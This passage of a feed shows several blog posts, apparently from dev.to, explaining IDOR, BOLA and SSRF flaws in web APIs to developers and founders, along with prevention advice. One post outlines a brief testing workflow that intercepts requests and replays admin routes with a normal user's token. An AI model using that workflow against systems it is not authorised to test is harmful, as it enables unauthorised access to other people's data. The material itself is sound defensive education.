&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/org/1234/users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user from organization &lt;strong&gt;5678&lt;/strong&gt; can access &lt;strong&gt;1234&lt;/strong&gt;, this becomes a serious data breach.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Export and Reporting APIs
&lt;/h3&gt;

&lt;p&gt;Admin dashboards often include powerful endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/export/users
GET /api/export/transactions
GET /api/export/reports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These endpoints sometimes lack proper role checks.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Test for Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;A simple testing workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a &lt;strong&gt;normal user account&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Intercept requests using a proxy&lt;/li&gt;
&lt;li&gt;Look for:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Admin routes in JavaScript files&lt;/li&gt;
&lt;li&gt;Hidden API endpoints&lt;/li&gt;
&lt;li&gt;Internal APIs used by dashboards

&lt;ol&gt;
&lt;li&gt;Replay these requests using the &lt;strong&gt;normal user token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Observe responses for unauthorized data access&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Always compare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Status codes&lt;/li&gt;
&lt;li&gt;Response data&lt;/li&gt;
&lt;li&gt;Accessible actions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Potential Impact
&lt;/h2&gt;

&lt;p&gt;Vertical BOLA can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Viewing all users' personal information&lt;/li&gt;
&lt;li&gt;Changing user roles&lt;/li&gt;
&lt;li&gt;Accessing financial reports&lt;/li&gt;
&lt;li&gt;Deleting accounts&lt;/li&gt;
&lt;li&gt;Resetting passwords&lt;/li&gt;
&lt;li&gt;Full system compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In bug bounty programs, this is usually classified as &lt;strong&gt;Critical severity&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why APIs Are Especially Vulnerable
&lt;/h2&gt;

&lt;p&gt;APIs expose &lt;strong&gt;direct backend functionality&lt;/strong&gt;, which means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frontend restrictions can be bypassed&lt;/li&gt;
&lt;li&gt;Attackers interact directly with backend logic&lt;/li&gt;
&lt;li&gt;Authorization checks must be implemented on &lt;strong&gt;every endpoint&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even one missing check can expose the entire system.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Developers Can Prevent Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;Secure APIs should always:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enforce &lt;strong&gt;role-based access control (RBAC)&lt;/strong&gt; on the server&lt;/li&gt;
&lt;li&gt;Validate permissions for &lt;strong&gt;every request&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Avoid trusting client-supplied roles&lt;/li&gt;
&lt;li&gt;Use centralized authorization middleware&lt;/li&gt;
&lt;li&gt;Perform object-level permission checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security should never depend on &lt;strong&gt;frontend controls&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>bola</category>
      <category>verticalbola</category>
      <category>api</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Why Most Website Data Leaks Happen Even When Login Is Working</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 23 Feb 2026 07:59:16 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/why-most-website-data-leaks-happen-even-when-login-is-working-2gn9</link>
      <guid>https://dev.to/abhinavsingwal/why-most-website-data-leaks-happen-even-when-login-is-working-2gn9</guid>
      <description>&lt;p&gt;If you own a website, SaaS product, or mobile app, you probably believe:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“We have login. So our data is secure.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Unfortunately… that’s not how most real-world data leaks happen.&lt;/p&gt;

&lt;p&gt;Today, the biggest security issue in modern applications is not broken login.&lt;/p&gt;

&lt;p&gt;It’s &lt;strong&gt;broken data access control.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let me explain this in simple terms.&lt;/p&gt;




&lt;h2&gt;
  
  
  🏛️ The Old Problem: Classic IDOR
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8xrxmu8cx1t6h4g1eb1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8xrxmu8cx1t6h4g1eb1v.png" alt="Image" width="682" height="818"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.redmineup.com%2Fcms%2Fassets%2Fthumbnail%2F39804%2F700%2Fblank%2520header.png%3Fclass%3Dborder-all%2Bpad-base%26token%3D59465886a3ff090670086c12d08cc8febdfb119463f9b3975b0a901adf966132" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.redmineup.com%2Fcms%2Fassets%2Fthumbnail%2F39804%2F700%2Fblank%2520header.png%3Fclass%3Dborder-all%2Bpad-base%26token%3D59465886a3ff090670086c12d08cc8febdfb119463f9b3975b0a901adf966132" alt="Image" width="700" height="630"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkj9lqsurav2y4py6ro1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkj9lqsurav2y4py6ro1.png" alt="Image" width="600" height="610"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F591nmzxcwqz13kce5w1p.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F591nmzxcwqz13kce5w1p.jpeg" alt="Image" width="800" height="521"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In older websites, you might see something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yourwebsite.com/invoice?id=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If someone changed &lt;code&gt;123&lt;/code&gt; to &lt;code&gt;124&lt;/code&gt; and suddenly saw another customer’s invoice…&lt;/p&gt;

&lt;p&gt;That’s called &lt;strong&gt;IDOR&lt;/strong&gt; (Insecure Direct Object Reference).&lt;/p&gt;

&lt;p&gt;The system checked:&lt;/p&gt;

&lt;p&gt;✔️ “Is this person logged in?”&lt;br&gt;
But did NOT check:&lt;br&gt;
❌ “Does this invoice belong to this person?”&lt;/p&gt;

&lt;p&gt;This caused many early data leaks.&lt;/p&gt;


&lt;h2&gt;
  
  
  🚀 The Modern Problem: API BOLA
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpdlhln77ftxvuz9x1auf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpdlhln77ftxvuz9x1auf.png" alt="Image" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fdhayvswvpz7qfjgqyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fdhayvswvpz7qfjgqyo.png" alt="Image" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwdgg8obwdaycnsyouw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdwdgg8obwdaycnsyouw0.png" alt="Image" width="800" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdu27aaemmsg23tt98301.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdu27aaemmsg23tt98301.png" alt="Image" width="720" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Today, your website probably uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mobile apps&lt;/li&gt;
&lt;li&gt;Single-page apps (React, Vue, etc.)&lt;/li&gt;
&lt;li&gt;APIs in the background&lt;/li&gt;
&lt;li&gt;JSON responses&lt;/li&gt;
&lt;li&gt;Tokens (JWT)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now the invoice link is no longer visible in the browser.&lt;/p&gt;

&lt;p&gt;Instead, your app secretly calls something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/v2/invoices/8f9a-77cd-992a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Developers often think:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“We use random IDs (UUID). So it's secure.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But here’s the truth:&lt;/p&gt;

&lt;p&gt;If your system checks:&lt;br&gt;
✔️ “Is user logged in?”&lt;/p&gt;

&lt;p&gt;But does NOT check:&lt;br&gt;
❌ “Does this specific invoice belong to this specific user?”&lt;/p&gt;

&lt;p&gt;Then you still have the same problem.&lt;/p&gt;

&lt;p&gt;This is called &lt;strong&gt;BOLA — Broken Object Level Authorization.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And it is currently the #1 API security risk globally.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is Dangerous for Website Owners
&lt;/h2&gt;

&lt;p&gt;Modern applications store sensitive data like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customer invoices&lt;/li&gt;
&lt;li&gt;Reports&lt;/li&gt;
&lt;li&gt;Internal notes&lt;/li&gt;
&lt;li&gt;Risk scores&lt;/li&gt;
&lt;li&gt;Admin flags&lt;/li&gt;
&lt;li&gt;Organization data&lt;/li&gt;
&lt;li&gt;Financial records&lt;/li&gt;
&lt;li&gt;Health information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If BOLA exists, attackers may:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;View other users’ private data&lt;/li&gt;
&lt;li&gt;Download reports from other companies&lt;/li&gt;
&lt;li&gt;Access internal admin information&lt;/li&gt;
&lt;li&gt;Leak entire organization databases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even worse:&lt;/p&gt;

&lt;p&gt;Most of these attacks require &lt;strong&gt;no hacking skills&lt;/strong&gt; — just modifying IDs in API requests.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Big Misunderstanding
&lt;/h2&gt;

&lt;p&gt;Many founders think:&lt;/p&gt;

&lt;p&gt;“We have authentication.”&lt;/p&gt;

&lt;p&gt;But authentication only answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Who are you?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Authorization answers:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“What are you allowed to access?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most data leaks happen because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login works&lt;/li&gt;
&lt;li&gt;But object-level authorization is missing&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Classic IDOR vs Modern API BOLA (Simple Comparison)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Classic IDOR&lt;/th&gt;
&lt;th&gt;Modern API BOLA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Visible in browser URL&lt;/td&gt;
&lt;td&gt;Hidden inside API calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Numeric IDs&lt;/td&gt;
&lt;td&gt;Random-looking IDs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Old websites&lt;/td&gt;
&lt;td&gt;Modern SaaS &amp;amp; mobile apps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Easy to notice&lt;/td&gt;
&lt;td&gt;Harder to detect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Same root issue&lt;/td&gt;
&lt;td&gt;Same root issue&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The technology changed.&lt;br&gt;
The mistake did not.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters in 2026
&lt;/h2&gt;

&lt;p&gt;Most startups today are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;API-first&lt;/li&gt;
&lt;li&gt;Multi-tenant SaaS&lt;/li&gt;
&lt;li&gt;Cloud-based&lt;/li&gt;
&lt;li&gt;Mobile-integrated&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which means:&lt;/p&gt;

&lt;p&gt;One small authorization mistake can expose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One user’s data&lt;/li&gt;
&lt;li&gt;Or an entire organization’s data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And that leads to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GDPR issues&lt;/li&gt;
&lt;li&gt;Legal penalties&lt;/li&gt;
&lt;li&gt;Trust damage&lt;/li&gt;
&lt;li&gt;Brand loss&lt;/li&gt;
&lt;li&gt;Investor concerns&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Simple Question Every Website Owner Should Ask
&lt;/h2&gt;

&lt;p&gt;For every piece of data in your system:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Should this logged-in user be able to see THIS specific data?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not:&lt;br&gt;
“Is the user logged in?”&lt;/p&gt;

&lt;p&gt;But:&lt;br&gt;
“Does this object belong to them?”&lt;/p&gt;




&lt;h2&gt;
  
  
  What You Should Do
&lt;/h2&gt;

&lt;p&gt;If you run a SaaS or app:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Audit object-level authorization.&lt;/li&gt;
&lt;li&gt;Test using multiple accounts.&lt;/li&gt;
&lt;li&gt;Ensure backend validates ownership every time.&lt;/li&gt;
&lt;li&gt;Don’t rely on hidden frontend logic.&lt;/li&gt;
&lt;li&gt;Get an API security assessment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because modern breaches rarely happen due to broken passwords.&lt;/p&gt;

&lt;p&gt;They happen because:&lt;/p&gt;

&lt;p&gt;The system forgot to check who owns the data.&lt;/p&gt;




&lt;p&gt;If you're building or scaling a SaaS product, this is one of the most important security checks you can perform before your growth multiplies your risk.&lt;/p&gt;

&lt;p&gt;Security today isn’t about firewalls.&lt;/p&gt;

&lt;p&gt;It’s about asking one simple question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Should this user really be able to see this?”&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>api</category>
      <category>cybersecurity</category>
      <category>apisecurity</category>
    </item>
    <item>
      <title>Your API Might Be Leaking Customer Data (Even If Login Is Secure)</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 23 Feb 2026 07:53:27 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/your-api-might-be-leaking-customer-data-even-if-login-is-secure-1ecc</link>
      <guid>https://dev.to/abhinavsingwal/your-api-might-be-leaking-customer-data-even-if-login-is-secure-1ecc</guid>
      <description>&lt;p&gt;Most founders believe:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Our users must log in. So our data is safe.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Unfortunately, that’s not always true.&lt;/p&gt;

&lt;p&gt;There is a very common security issue in modern applications called &lt;strong&gt;Broken Object Level Authorization (BOLA)&lt;/strong&gt; — and it affects APIs, mobile apps, SaaS platforms, CRMs, fintech dashboards, and more.&lt;/p&gt;

&lt;p&gt;And the scary part?&lt;/p&gt;

&lt;p&gt;Everything can look completely normal from the frontend.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Actually Happening?
&lt;/h2&gt;

&lt;p&gt;Let’s say your system works like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A user logs in&lt;/li&gt;
&lt;li&gt;They open their invoice&lt;/li&gt;
&lt;li&gt;The system loads data from:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;/api/invoices/1122&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now imagine someone changes &lt;code&gt;1122&lt;/code&gt; to &lt;code&gt;1123&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If your backend does not verify that the invoice actually belongs to that logged-in user, the system may return another customer’s invoice.&lt;/p&gt;

&lt;p&gt;That’s BOLA.&lt;/p&gt;

&lt;p&gt;The user is authenticated.&lt;br&gt;
But they are not authorized to access that specific data.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is So Common in Modern SaaS
&lt;/h2&gt;

&lt;p&gt;Modern applications rely heavily on APIs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mobile apps&lt;/li&gt;
&lt;li&gt;React / Vue dashboards&lt;/li&gt;
&lt;li&gt;Microservices&lt;/li&gt;
&lt;li&gt;Third-party integrations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Developers often check:&lt;/p&gt;

&lt;p&gt;✔ Is the user logged in?&lt;br&gt;
✔ Is the token valid?&lt;/p&gt;

&lt;p&gt;But they forget to check:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this specific object belong to this user?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This small missing check can expose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customer invoices&lt;/li&gt;
&lt;li&gt;Reports&lt;/li&gt;
&lt;li&gt;Internal flags&lt;/li&gt;
&lt;li&gt;Risk scores&lt;/li&gt;
&lt;li&gt;Organization-level analytics&lt;/li&gt;
&lt;li&gt;Personal data (PII)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  A Realistic Example
&lt;/h2&gt;

&lt;p&gt;Imagine your SaaS product supports multiple companies.&lt;/p&gt;

&lt;p&gt;The API endpoint looks like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/api/organizations/88372/reports&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If a logged-in user changes &lt;code&gt;88372&lt;/code&gt; to another organization’s ID and your system still returns data…&lt;/p&gt;

&lt;p&gt;That’s a cross-tenant data leak.&lt;/p&gt;

&lt;p&gt;Now we’re not talking about one user’s data.&lt;/p&gt;

&lt;p&gt;We’re talking about one company seeing another company’s private data.&lt;/p&gt;

&lt;p&gt;That’s:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Legal risk&lt;/li&gt;
&lt;li&gt;Compliance risk&lt;/li&gt;
&lt;li&gt;Trust damage&lt;/li&gt;
&lt;li&gt;Potential public disclosure&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  “But We Use UUIDs, So It’s Secure”
&lt;/h2&gt;

&lt;p&gt;Many companies think using random-looking IDs like:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;7f3c9b2e-88fa-41d2-a112-9ab33f221abc&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;makes them safe.&lt;/p&gt;

&lt;p&gt;It does not.&lt;/p&gt;

&lt;p&gt;If the backend doesn’t verify ownership, a UUID is just a longer number.&lt;/p&gt;

&lt;p&gt;Security is not about hiding IDs.&lt;/p&gt;

&lt;p&gt;Security is about validating access on every request.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is Dangerous for Businesses
&lt;/h2&gt;

&lt;p&gt;A BOLA vulnerability can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customer PII exposure&lt;/li&gt;
&lt;li&gt;Financial data leaks&lt;/li&gt;
&lt;li&gt;GDPR or compliance violations&lt;/li&gt;
&lt;li&gt;Loss of enterprise clients&lt;/li&gt;
&lt;li&gt;Reputation damage&lt;/li&gt;
&lt;li&gt;Bug bounty disclosures&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And in competitive SaaS markets, trust is everything.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Companies Can Prevent This
&lt;/h2&gt;

&lt;p&gt;Here’s what every API should enforce:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Every request must validate object ownership.&lt;/li&gt;
&lt;li&gt;Never trust IDs coming from the frontend.&lt;/li&gt;
&lt;li&gt;Enforce tenant isolation at database level.&lt;/li&gt;
&lt;li&gt;Test export/download endpoints separately.&lt;/li&gt;
&lt;li&gt;Test mobile APIs, not just web dashboards.&lt;/li&gt;
&lt;li&gt;Perform regular API security testing.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Login security alone is not enough.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Most API breaches don’t happen because someone “hacked the login.”&lt;/p&gt;

&lt;p&gt;They happen because:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The system trusted a logged-in user too much.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If your business runs on APIs — and almost every modern product does — object-level authorization must be reviewed carefully.&lt;/p&gt;

&lt;p&gt;Because the question isn’t:&lt;/p&gt;

&lt;p&gt;“Is the user logged in?”&lt;/p&gt;

&lt;p&gt;The real question is:&lt;/p&gt;

&lt;p&gt;“Should this user be able to see THIS data?”&lt;/p&gt;

</description>
      <category>api</category>
      <category>bola</category>
      <category>apisecurity</category>
    </item>
    <item>
      <title>How a Simple “Upload by Link” Feature Can Hack Your Own Servers</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 03 Feb 2026 18:25:18 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/how-a-simple-upload-by-link-feature-can-hack-your-own-servers-5c1i</link>
      <guid>https://dev.to/abhinavsingwal/how-a-simple-upload-by-link-feature-can-hack-your-own-servers-5c1i</guid>
      <description>&lt;p&gt;Most modern apps let users upload things like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Profile pictures&lt;/li&gt;
&lt;li&gt;PDFs and invoices&lt;/li&gt;
&lt;li&gt;Documents&lt;/li&gt;
&lt;li&gt;Company logos&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And often, instead of uploading a file, the app allows &lt;strong&gt;uploading by link&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Paste a URL and we’ll fetch the image or PDF for you.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sounds harmless, right?&lt;br&gt;
Unfortunately, this small feature has caused &lt;strong&gt;serious security breaches&lt;/strong&gt; in many real companies.&lt;/p&gt;

&lt;p&gt;Let’s understand why — in simple terms.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hidden Problem Behind “Upload via URL”
&lt;/h2&gt;

&lt;p&gt;When your app accepts a link like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;https://example.com/file.pdf&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your &lt;strong&gt;server&lt;/strong&gt; goes and downloads that file.&lt;/p&gt;

&lt;p&gt;That means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your server is visiting a website&lt;/li&gt;
&lt;li&gt;Your server is making a request&lt;/li&gt;
&lt;li&gt;Your server trusts the link provided by the user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now imagine if the link is &lt;strong&gt;not&lt;/strong&gt; a normal website.&lt;/p&gt;

&lt;p&gt;This is where the risk starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Attackers Actually Do (No Technical Details)
&lt;/h2&gt;

&lt;p&gt;Instead of giving a normal website link, an attacker gives a &lt;strong&gt;special internal link&lt;/strong&gt; that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Points to your own server&lt;/li&gt;
&lt;li&gt;Points to your internal tools&lt;/li&gt;
&lt;li&gt;Points to your cloud infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your server doesn’t realize it’s dangerous — it just follows the instruction.&lt;/p&gt;

&lt;p&gt;This is called &lt;strong&gt;SSRF (Server-Side Request Forgery)&lt;/strong&gt;, but you don’t need to remember the name.&lt;/p&gt;

&lt;p&gt;Just remember this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Your app is tricked into attacking itself.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Real-World Example (Simple)
&lt;/h2&gt;

&lt;p&gt;Let’s say your app has this feature:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Import PDF from a link”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;An attacker gives a link that secretly points to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your internal admin panel&lt;/li&gt;
&lt;li&gt;Your database service&lt;/li&gt;
&lt;li&gt;Your cloud provider’s secret system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your server opens it and may accidentally expose:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Passwords&lt;/li&gt;
&lt;li&gt;API keys&lt;/li&gt;
&lt;li&gt;Internal data&lt;/li&gt;
&lt;li&gt;Cloud access credentials&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This has happened to &lt;strong&gt;real companies&lt;/strong&gt;, not just theory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is So Dangerous
&lt;/h2&gt;

&lt;p&gt;Because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No login bypass is needed&lt;/li&gt;
&lt;li&gt;No password cracking is needed&lt;/li&gt;
&lt;li&gt;No malware is uploaded&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attacker just uses a &lt;strong&gt;normal app feature&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In many cases, this leads to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Full server access&lt;/li&gt;
&lt;li&gt;Data leaks&lt;/li&gt;
